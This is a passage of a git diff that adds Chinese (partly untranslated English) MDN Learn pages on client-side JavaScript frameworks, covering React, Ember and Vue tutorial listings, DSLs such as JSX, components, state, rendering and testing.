组件化我们的React应用</a></dt> + <dd>到这个阶段,我们的应用仍是一个单一结构。在让它工作之前,我们需要将它分解为可管理的描述性组件。React对于组件没有任何硬性规定--这完全取决于你!在此章节我们将向你展示一个合理的方式来将我们的应用分解成 组件。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">4. React交互:事件和状态</a></dt> + <dd>我们的组件化计划已经完成,现在是时候开始将我们的应用从一个完全静态的界面更新成允许交互和变更的界面。在这个章节我们将继续研究事件和状态,借此实现上述功能。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">5. React交互:编辑,过滤,条件渲染</a></dt> + <dd>我们已经接近React旅程的终点(至少目前是这样),我们将对我们的Todo列表应用的主要功能区域做最后的更改。这包括允许编辑现有的任务,在所有列表,已完成列表和未完成列表中过滤任务。在这个过程中我们将研究条件渲染。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">6. React的可访问性支持</a></dt> + <dd>在我们最后的教程章节,我们将重点介绍可访问性,包括React的焦点管理,这可以提高可用性,降低纯键盘用户和屏幕阅读器用户的困扰。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">7. React资源</a></dt> + <dd>我们的最后章节提供了一个React资源列表,供你用于进一步的学习。</dd> +</dl> + +<h2 id="Ember教程">Ember教程</h2> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: Ember教程最后测试于2020年5月,基于Ember/Ember CLI version 3.18.0.</p> + +<p>如果你需要确认你的代码与我们的版本区别,你可以在<a href="https://github.com/NullVoxPopuli/ember-todomvc-tutorial/tree/master/steps/00-finished-todomvc/todomvc">ember-todomvc-tutorial repository</a>找到Ember应用示例代码的完整版本。想要获取当前最新的版本,查看<a href="https://nullvoxpopuli.github.io/ember-todomvc-tutorial/">https://nullvoxpopuli.github.io/ember-todomvc-tutorial/</a> (这还包含了本教程未覆盖到的一些额外的特性)。</p> +</div> + +<dl> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">1. 开始使用Ember</a></dt> + <dd>在我们的Ember第一章节中我们将了解Ember的工作原理及其用途,本地安装Ember工具链,创建一个示例应用,然后做一些初始化设置以便开始开发。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">2. Ember应用结构和组件化</a></dt> + <dd>在此章节,我们将继续规划我们的TodoMVC Ember应用,为其添加HTML部分,随后将这些HTML分解为组件。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">3. Ember交互:事件,类和状态</a></dt> + <dd>至此,我们将添加一些交互行为到我们的应用,使其能够添加和显示新的待办事项。在此过程中,我们将研究如何在Ember中使用事件,创建包含JavaScript代码的组件类来控制交互功能,并且设置服务来跟踪我们的应用的数据状态。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">4. Ember交互:页脚功能,条件渲染</a></dt> + <dd>现在是时候开始在我们的应用中处理页脚功能了。这里我们将更新待办事项计数器以正确显示待完成待办事项的数量,并正确地为已完成事项应用样式(i.e. 对应列表项的复选框处于选中状态)。我们还将实装我们的“Clear completed”按钮。在这个过程中,我们将学习在我们的模板中使用条件渲染。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">5. Ember路由</a></dt> + <dd>在此章节我们学习路由,有时也称为URL-based过滤。我们将使用它来为三个待办视图------"All","Active"和"Completed"提供全局唯一的URL。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">6. Ember资源和疑难解答</a></dt> + <dd>我们的最后一个Ember章节提供了一个供你进一步学习的资源列表,还有一些有用的疑难解答和其他信息。</dd> +</dl> + +<h2 id="Vue教程">Vue教程</h2> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: Vue教程最后测试于2020年5月,基于Vue 2.6.11.</p> + +<p>如果你需要确认你的代码与我们的版本区别,你可以在<a href="https://github.com/mdn/todo-vue">todo-vue repository</a>找到Vue应用示例代码的完整版本。想要获取当前当前最新的版本,查看<a href="https://mdn.github.io/todo-vue/dist/">https://mdn.github.io/todo-vue/dist/</a>.</p> +</div> + +<dl> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">1. 开始使用Vue</a></dt> + <dd>现在让我们开始介绍Vue,我们的第三个框架。在此章节我们将简单了解Vue的背景,学习如何安装Vue以及如何创建一个新项目,学习整个项目的高级架构以及独立的组件,了解如何在本地运行这个项目,并准备开始构建我们的示例。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">2. 创建我们的第一个Vue组件</a></dt> + <dd>现在是时候深入Vue,创建我们自己的自定义组件了--我们将从创建一个用来展示待办列表项目的组件开始。在这个过程中,我们将学习一些重要的概念例如在一个组件中调用另一个组件,通过props传递数据给另一个组件并保存数据状态。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">3. 渲染Vue组件列表</a></dt> + <dd><span class="author-d-1gg9uz65z1iz85zgdz68zmqkz84zo2qoxwoxz78zz83zz84zz69z2z80zgwxsgnz83zfkt5e5tz70zz68zmsnjz122zz71z">至此我们已经得到了一个完全可用的组件,我们现在已经准备好添加多个<code>ToDoItem</code> 组件到我们的应用中了。在此章节我们将了解如何添加一组待办项数据到我们的<code>App.vue</code>组件,这组数据我们随后使用<code>v-for</code>指令将它们循环并显示到<code>ToDoItem</code>组件中。</span></dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">4. 添加一个新的待办表单:Vue事件,方法和模型</a></dt> + <dd>现在我们的应用已经有了示例数据和一个循环来将每条数据渲染到<code>ToDoItem</code>中。下一步我们要做的是让用户能够输入他们自己的待办事项到这个应用中。 为此我们需要一个文本输入框<code><input></code>,一个在数据提交时触发的事件,一个在数据提交时被触发来添加数据和渲染列表的方法和一个用来控制数据的模型。这就是这个章节我们将要介绍的内容。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">5. 使用CSS美化Vue组件</a></dt> + <dd>终于到了美化我们的应用的时间了。在此章节我们将探索用CSS美化Vue组件的不同方法。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">6. 使用Vue计算属性</a></dt> + <dd>在这个章节我们将添加一个显示已完成待办项目数量的计数器,使用Vue的一个叫做计算属性的特性。计算属性与方法相似,但是只有它的依赖内容变更时才会再次运作。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">7. Vue条件渲染:编辑既有待办项</a></dt> + <dd>现在是时候加入我们还未实现一个主要功能部分了------编辑既有待办项。为了实现这个功能,我们将利用Vue的条件渲染能力------<code>v-if</code>和<code>v-else</code>来使既有待办项目在查看状态和文本编辑状态之间切换。我们还将添加删除待办项的功能。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">8. 使用Vue refs进行焦点管理</a></dt> + <dd>我们快要完成Vue的使用了。最后要看的一个功能是焦点管理,换种说法,如何改善我们的应用的键盘可操作性。我们将解决这个问题,通过Vue refs------一个允许你直接操作虚拟DOM的底层DOM,或在组件中直接操作其子组件内部DOM结构的高级特性。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">9. Vue资源</a></dt> + <dd>我们将提供一个你可以用来进一步学习的资源列表来圆满结束我们的Vue学习教程,从这个列表中你也可以获取一些有用的技巧。</dd> +</dl> + +<h2 id="我们应该选择哪个框架?">我们应该选择哪个框架?</h2> + +<p>我们在这里发布专注于主要三大框架的系列说明文章------React/ReactDOM,Ember和Vue的一些原因如下:</p> + +<ul> + <li>它们在今后的一段时间内都将是最受欢迎的选择------就像使用任何软件工具一样,依附于一个处于活跃开发状态并且不太会突然停止开发的工具是一个明智的选择,并且它们会成为你寻找工作时所需的技能之一。</li> + <li>它们拥有强大的社区和良好的文档支持。学习复杂的主题时得到帮助是很重要的,特别是你是刚开始学习时。</li> + <li>我们没有资源能覆盖所有现代框架。维护所有现代框架的最新列表是非常困难的,因为总有新的框架在不断被创造出来。</li> + <li>作为一个初学者,在大量的可选内容中选择关注哪部分是很难的,维持一个相对短的列表反而是有益的。</li> +</ul> + +<p>我们想在前面说一下------我们<strong>没有</strong>因为我们认为它们是最好的或者我们赞同它们而选择这些我们正在关注的框架。我们只是认为它们在上面这些方面评价比较高。</p> + +<p>值得一提的是我们也希望在我们的初版发布时能够包含更多框架的内容,但是我们最终决定先把初版内容发布出来随后在此基础上再慢慢添加更多框架内容,而不是延后更长的时间。如果你最喜欢的框架没有包含在这部分内容中而且你想帮助改善这个情况,请立即告诉我们!你可以通过<a href="https://wiki.mozilla.org/Matrix">Matrix</a>或<a href="https://discourse.mozilla.org/c/mdn">Discourse</a>联系我们或者发送邮件到我们的邮件列表<a href="mailto:mdn-admins@mozilla.org">mdn-admins list</a>。</p> diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.html new file mode 100644 index 0000000000..ac7e2a6859 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.html @@ -0,0 +1,354 @@ +--- +title: 框架的主要特性 +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> + +<p class="summary">每种JavaScript框架都有自己不同的方式更新DOM,处理浏览器事件,为开发者提供愉快的使用体验,这篇文章将探索“四大”框架的主要特性,从高级角度探讨框架的工作方式以及它们之间的区别。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>熟悉核心的 <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a> 和 <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> 语言。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解框架主要代码的特性。</td> + </tr> + </tbody> +</table> + +<h2 id="Domain-specific_languages">Domain-specific languages</h2> + +<p>All of the frameworks discussed in this module are powered by JavaScript, and all allow you to use domain-specific languages (DSLs) in order to build your applications. In particular, React has popularized the use of <strong>JSX</strong> for writing its components, while Ember utilizes <strong>Handlebars</strong>. Unlike HTML, these languages know how to read data variables, and this data can be used to streamline the process of writing your UI.</p> + +<p>Angular apps often make heavy use of <strong>TypeScript</strong>. TypeScript is not concerned with the writing of user interfaces, but it is a domain-specific language, and has significant differences to vanilla JavaScript.</p> + +<p>DSLs can't be read by the browser directly; they must be transformed into JavaScript or HTML first. <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview#Transformation">Transformation is an extra step in the development process</a>, but framework tooling generally includes the required tools to handle this step, or can be adjusted to include this step. While it is possible to build framework apps without using these domain-specific languages, embracing them will streamline your development process and make it easier to find help from the communities around those frameworks.</p> + +<h3 id="JSX">JSX</h3> + +<p><a href="https://reactjs.org/docs/introducing-jsx.html">JSX</a>, which stands for JavaScript and XML, is an extension of JavaScript that brings HTML-like syntax to a JavaScript environment. It was invented by the React team for use in React applications, but can be used to develop other applications — like Vue apps, for instance.</p> + +<p>The following shows a simple JSX example:</p> + +<pre class="brush: js notranslate">const subject = "World"; +const header = ( + <header> + <h1>Hello, {subject}!</h1> + </header> +);</pre> + +<p>This expression represents an HTML <code><a href="/en-US/docs/Web/HTML/Element/header"><header></a></code> element with a <code><a href="/en-US/docs/Web/HTML/Element/Heading_Elements"><h1></a></code> element inside. The curly braces around <code>subject</code> on line 4 tell the application to read the value of the <code>subject</code> constant and insert it into our <code><h1></code>.</p> + +<p>When used with React, the JSX from the previous snippet would be compiled into this:</p> + +<pre class="brush: js notranslate">var subject = "World"; +var header = React.createElement("header", null, + React.createElement("h1", null, "Hello, ", subject, "!") +);</pre> + +<p>When ultimately rendered by the browser, the above snippet will produce HTML that looks like this:</p> + +<pre class="brush: html notranslate"><header> + <h1>Hello, World!</h1> +</header></pre> + +<h3 id="Handlebars">Handlebars</h3> + +<p>The <a href="https://handlebarsjs.com/">Handlebars</a> templating language is not specific to Ember applications, but it is heavily utilized in Ember apps. Handlebars code resembles HTML, but it has the option of pulling data in from elsewhere. This data can be used to influence the HTML that an application ultimately builds.</p> + +<p>Like JSX, Handlebars uses curly braces to inject the value of a variable. Handlebars uses a double-pair of curly braces, instead of a single pair.</p> + +<p>Given this Handlebars template:</p> + +<pre class="brush: html notranslate"><header> + <h1>Hello, \{{subject}}!</h1> +</header></pre> + +<p>And this data:</p> + +<pre class="brush: js notranslate">{ + subject: "World" +}</pre> + +<p>Handlebars will build HTML like this:</p> + +<pre class="brush: html notranslate"><header> + <h1>Hello, World!</h1> +</header></pre> + +<h3 id="TypeScript">TypeScript</h3> + +<p><a href="https://www.typescriptlang.org/">TypeScript</a> is a <em>superset</em> of JavaScript, meaning it extends JavaScript — all JavaScript code is valid TypeScript, but not the other way around. TypeScript is useful for the strictness it allows developers to enforce on their code. For instance, consider a function <code>add()</code>, which takes integers <code>a</code> and <code>b</code> and returns their sum.</p> + +<p>In JavaScript, that function could be written like this:</p> + +<pre class="brush: js notranslate">function add(a, b) { + return a + b; +}</pre> + +<p>This code might be trivial for someone accustomed to JavaScript, but it could still be clearer. JavaScript lets us use the <code>+</code> operator to concatenate strings together, so this function would technically still work if <code>a</code> and <code>b</code> were strings — it just might not give you the result you'd expect. What if we wanted to only allow numbers to be passed into this function? TypeScript makes that possible:</p> + +<pre class="brush: js notranslate">function add(a: number, b: number) { + return a + b; +}</pre> + +<p>The <code>: number</code> written after each parameter here tells TypeScript that both <code>a</code> and <code>b</code> must be numbers. If we were to use this function and pass <code>'2'</code> into it as an argument, TypeScript would raise an error during compilation, and we would be forced to fix our mistake. We could write our own JavaScript that raises these errors for us, but it would make our source code significantly more verbose. It probably makes more sense to let TypeScript handle such checks for us.</p> + +<h2 id="Writing_components">Writing components</h2> + +<p>As mentioned in the previous chapter, most frameworks have some kind of component model. React components can be written with JSX, Ember components with Handlebars, and Angular and Vue components with a templating syntax that lightly extends HTML.</p> + +<p>Regardless of their opinions on how components should be written, each framework's components offer a way to describe the external properties they may need, the internal state that the component should manage, and the events a user can trigger on the component's markup.</p> + +<p>The code snippets in the rest of this section will use React as an example, and are written with JSX.</p> + +<h3 id="Properties">Properties</h3> + +<p>Properties, or <strong>props</strong>, are external data that a component needs in order to render. Suppose you're building a website for an online magazine, and you need to be sure that each contributing writer gets credit for their work. You might create an <code>AuthorCredit</code> component to go with each article. This component needs to display a portrait of the author and a short byline about them. In order to know what image to render, and what byline to print, <code>AuthorCredit</code> needs to accept some props.</p> + +<p>A React representation of this <code>AuthorCredit</code> component might look something like this:</p> + +<pre class="brush: js notranslate">function AuthorCredit(props) { + return ( + <figure> + <img src={props.src} alt={props.alt} /> + <figcaption>{props.byline}</figcaption> + </figure> + ); +}</pre> + +<p><code>{props.src}</code>, <code>{props.alt}</code>, and <code>{props.byline}</code> represent where our props will be inserted into the component. To render this component, we would write code like this in the place where we want it rendered (which will probably be inside another component):</p> + +<pre class="brush: js notranslate"><AuthorCredit + src="./assets/zelda.png" + alt="Portrait of Zelda Schiff" + byline="Zelda Schiff is editor-in-chief of the Library Times." +/></pre> + +<p>This will ultimately render the following <code><a href="/en-US/docs/Web/HTML/Element/figure"><figure></a></code> element in the browser, with its structure as defined in the <code>AuthorCredit</code> component, and its content as defined in the props included on the <code>AuthorCredit</code> component call:</p> + +<pre class="brush: html notranslate"><figure> + <img + src="assets/zelda.png" + alt="Portrait of Zelda Schiff" + > + <figcaption> + Zelda Schiff is editor-in-chief of the Library Times. + </figcaption> +</figure></pre> + +<h3 id="State">State</h3> + +<p>We talked about the concept of <strong>state</strong> in the previous chapter — a robust state-handling mechanism is key to an effective framework, and each component may have data that needs its state controlled. This state will persist in some way as long as the component is in use. Like props, state can be used to affect how a component is rendered.</p> + +<p>As an example, consider a button that counts how many times it has been clicked. This component should be responsible for tracking its own <em>count</em> state, and could be written like this:</p> + +<pre class="brush: js notranslate">function CounterButton() { + const [count] = useState(0); + return ( + <button>Clicked {count} times</button> + ); +}</pre> + +<p><code><a href="https://reactjs.org/docs/hooks-reference.html#usestate">useState()</a></code> is a <strong><a href="https://reactjs.org/docs/hooks-intro.html">React hook</a></strong> which, given an initial data value, will keep track of that value as it is updated. The code will be initially rendered like so in the browser:</p> + +<pre class="brush: html notranslate"><button>Clicked 0 times</button></pre> + +<p>The <code>useState()</code> call keeps track of the <code>count</code> value in a robust way across the app, without you needing to write code to do that yourself.</p> + +<h3 id="Events">Events</h3> + +<p>In order to be interactive, components need ways to respond to browser events, so our applications can respond to our users. Frameworks each provide their own syntax for listening to browser events, which reference the names of the equivalent native browser events.</p> + +<p>In React, listening for the <code><a href="/en-US/docs/Web/API/Element/click_event">click</a></code> event requires a special property, <code>onClick</code>. Let’s update our <code>CounterButton</code> code from above to allow it to count clicks:</p> + +<pre class="brush: js notranslate">function CounterButton() { + const [count, setCount] = useState(0); + return ( + <button onClick={() => setCount(count + 1)}>Clicked {count} times</button> + ); +}</pre> + +<p>In this version we are using additional <code>useState()</code> functionality to create a special <code>setCount()</code> function, which we can invoke to update the value of <code>count</code>. We call this function on line 4, and set <code>count</code> to whatever its current value is, plus one.</p> + +<h2 id="Styling_components">Styling components</h2> + +<p>Each framework offers a way to define styles for your components — or for the application as a whole. Although each framework’s approach to defining the styles of a component is slightly different, all of them give you multiple ways to do so. With the addition of some helper modules, you can style your framework apps in <a href="https://sass-lang.com/">Sass</a> or <a href="http://lesscss.org/">Less</a>, or transpile your CSS stylesheets with <a href="https://postcss.org/">PostCSS</a>.</p> + +<h2 id="Handling_dependencies">Handling dependencies</h2> + +<p>All major frameworks provide mechanisms for handling dependencies — using components inside other components, sometimes with multiple hierarchy levels. As with other features, the exact mechanism will differ between frameworks, but the end result is the same. Components tend to import components into other components using the standard <a href="/en-US/docs/Web/JavaScript/Guide/Modules">JavaScript module syntax</a>, or at least something similar.</p> + +<h3 id="Components_in_components">Components in components</h3> + +<p>One key benefit of component-based UI architecture is that components can be composed together. Just like you can write HTML tags inside each other to build a website, you can use components inside other components to build a web application. Each framework allows you to write components that utilize (and thus depend on) other components.</p> + +<p>For example, our <code>AuthorCredit</code> React component might be utilized inside an <code>Article</code> component. That means that <code>Article</code> would need to import <code>AuthorCredit</code>.</p> + +<pre class="brush: js notranslate">import AuthorCredit from "./components/AuthorCredit";</pre> + +<p>Once that’s done, <code>AuthorCredit</code> could be used inside the <code>Article</code> component like this:</p> + +<pre class="brush: js notranslate"> ... + +<AuthorCredit /> + + ...</pre> + +<h3 id="Dependency_injection">Dependency injection</h3> + +<p>Real-world applications can often involve component structures with multiple levels of nesting. An <code>AuthorCredit</code> component nested many levels deep might, for some reason, need data from the very root level of our application.</p> + +<p>Let's say that the magazine site we're building is structured like this:</p> + +<pre class="brush: js notranslate"><App> + <Home> + <Article> + <AuthorCredit {/* props */} /> + </Article> + </Home> +</App></pre> + +<p>Our <code>App</code> component has data that our <code>AuthorCredit</code> component needs. We could rewrite <code>Home</code> and <code>Article</code> so that they know to pass props down, but this could get tedious if there are many, many levels between the origin and destination of our data. It's also excessive: <code>Home</code> and <code>Article</code> don’t actually make use of the author's portrait or byline, but if we want to get that information into the <code>AuthorCredit</code>, we will need to change <code>Home</code> and <code>Author</code> to accommodate it.</p> + +<p>The problem of passing data through many layers of components is called prop drilling, and it’s not ideal for large applications.</p> + +<p>To circumvent prop drilling, frameworks provide functionality known as dependency injection, which is a way to get certain data directly to the components that need it, without passing it through intervening levels. Each framework implements dependency injection under a different name, and in a different way, but the effect is ultimately the same.</p> + +<p>Angular calls this process <a href="https://angular.io/guide/dependency-injection">dependency injection</a>; Vue has <a href="https://vuejs.org/v2/api/#provide-inject"><code>provide()</code> and <code>inject()</code> component methods</a>; React has a <a href="https://reactjs.org/docs/context.html">Context API</a>; Ember shares state through <a href="https://guides.emberjs.com/release/services/">services</a>.</p> + +<h3 id="Lifecycle">Lifecycle</h3> + +<p>In the context of a framework, a component’s <strong>lifecycle</strong> is a collection of phases a component goes through from the time it is rendered by the browser (often called <em>mounting</em>) to the time that it is removed from the DOM (often called <em>unmounting</em>). Each framework names these lifecycle phases differently, and not all give developers access to the same phases. All of the frameworks follow the same general model: they allow developers to perform certain actions when the component <em>mounts</em>, when it <em>renders</em>, when it <em>unmounts</em>, and at many phases in between these.</p> + +<p>The <em>render</em> phase is the most crucial to understand, because it is repeated the most times as your user interacts with your application. It's run every time the browser needs to render something new, whether that new information is an addition to what's in the browser, a deletion, or an edit of what’s there.</p> + +<p>This <a href="http://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/">diagram of a React component's lifecycle</a> offers a general overview of the concept.</p> + +<h2 id="Rendering_elements">Rendering elements</h2> + +<p>Just as with lifecycles, frameworks take different-but-similar approaches to how they render your applications. All of them track the current rendered version of your browser's DOM, and each makes slightly different decisions about how the DOM should change as components in your application re-render. Because frameworks make these decisions for you, you typically don't interact with the DOM yourself. This abstraction away from the DOM is more complex and more memory-intensive than updating the DOM yourself, but without it, frameworks could not allow you to program in the declarative way they’re known for.</p> + +<p>The <strong>Virtual DOM</strong> is an approach whereby information about your browser's DOM is stored in JavaScript memory. Your application updates this copy of the DOM, then compares it to the "real" DOM — the DOM that is actually rendered for your users — in order to decide what to render. The application builds a "diff" to compare the differences between the updated virtual DOM and the currently rendered DOM, and uses that diff to apply updates to the real DOM. Both React and Vue utilize a virtual DOM model, but they do not apply the exact same logic when diffing or rendering.</p> + +<p>You can <a href="https://reactjs.org/docs/faq-internals.html#what-is-the-virtual-dom">read more about the Virtual DOM in the React docs</a>.</p> + +<p>The <strong>Incremental DOM</strong> is similar to the virtual DOM in that it builds a DOM diff to decide what to render, but different in that it doesn't create a complete copy of the DOM in JavaScript memory. It ignores the parts of the DOM that do not need to be changed. Angular is the only framework discussed so far in this module that uses an incremental DOM.</p> + +<p>You can <a href="https://auth0.com/blog/incremental-dom/">read more about the Incremental DOM on the Auth0 blog</a>.</p> + +<p>The <strong>Glimmer VM</strong> is unique to Ember. It is not a virtual DOM nor an incremental DOM; it is a separate process through which Ember's templates are transpiled into a kind of "byte code" that is easier and faster to read than JavaScript.</p> + +<h2 id="Routing">Routing</h2> + +<p>As <a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction#Routing">mentioned in the previous chapter, routing</a> is an important part of the web experience. To avoid a broken experience in sufficiently complex apps with lots of views, each of the frameworks covered in this module provides a library (or more than one library) that helps developers implement client-side routing in their applications.</p> + +<h2 id="Testing">Testing</h2> + +<p>All applications benefit from test coverage that ensures your software continues to behave in the way that you'd expect, and web applications are no different. Each framework's ecosystem provides tooling that facilitates the writing of tests. Testing tools are not built into the frameworks themselves, but the command-line interface tools used to generate framework apps give you access to the appropriate testing tools.</p> + +<p>Each framework has extensive tools in its ecosystem, with capabilities for unit and integration testing alike.</p> + +<p><a href="https://testing-library.com/">Testing Library</a> is a suite of testing utilities that has tools for many JavaScript environments, including React, Vue, and Angular. The Ember docs cover the <a href="https://guides.emberjs.com/release/testing/">testing of Ember apps</a>.</p> + +<p>Here’s a quick test for our <code>CounterButton</code> written with the help of React Testing Library — it tests a number of things, such as the button's existence, and whether the button is displaying the correct text after being clicked 0, 1, and 2 times:</p> + +<pre class="brush: js notranslate">import React from "react"; +import { render, fireEvent } from "@testing-library/react"; +import "@testing-library/jest-dom/extend-expect"; + +import CounterButton from "./CounterButton"; + +it("renders a semantic with an initial state of 0", () => { + const { getByRole } = render(<CounterButton />); + const btn = getByRole("button"); + + expect(btn).toBeInTheDocument(); + expect(btn).toHaveTextContent("Clicked 0 times"); +}); + +it("Increments the count when clicked", () => { + const { getByRole } = render(<CounterButton />); + const btn = getByRole("button"); + + fireEvent.click(btn); + expect(btn).toHaveTextContent("Clicked 1 times"); + + fireEvent.click(btn); + expect(btn).toHaveTextContent("Clicked 2 times"); +});</pre> + +<h2 id="Summary">Summary</h2> + +<p>At this point you should have more of an idea about the actual languages, features, and tools you'll be using as you create applications with frameworks. I'm sure you’re enthusiastic to get going and actually do some coding, and that's what you are going to do next! At this point you can choose which framework you'd like to start learning first:</p> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Vue</a></li> +</ul> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: We only have three framework tutorial series available now, but we hope to have more available in the future.</p> +</div> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> + <li>React + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> + </ul> + </li> + <li>Ember + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> + </ul> + </li> + <li>Vue + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> + </ul> + </li> + <li>Svelte + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Getting started with Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic 